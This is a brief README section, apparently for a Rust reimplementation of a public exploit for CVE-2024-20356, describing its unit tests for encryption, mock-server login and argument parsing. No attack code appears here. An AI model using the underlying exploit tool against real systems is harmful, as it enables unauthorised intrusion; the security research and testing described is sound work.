## Tests
I wrote this without access to the server based on the [original code base](https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py).
Due to this I wrote extensive unit tests to ensure that the encryption functions match up with those found in the original.
That the login method works using a mock server.
That the arguement parsing works for IP addresses.
to run these tests, use cargo --test
```bash
cargo test

## Project Structure
I put this here as I avoided using mod.rs and to show how main is a thin wrapper around lib.
This is to allow for integration tests in the future.
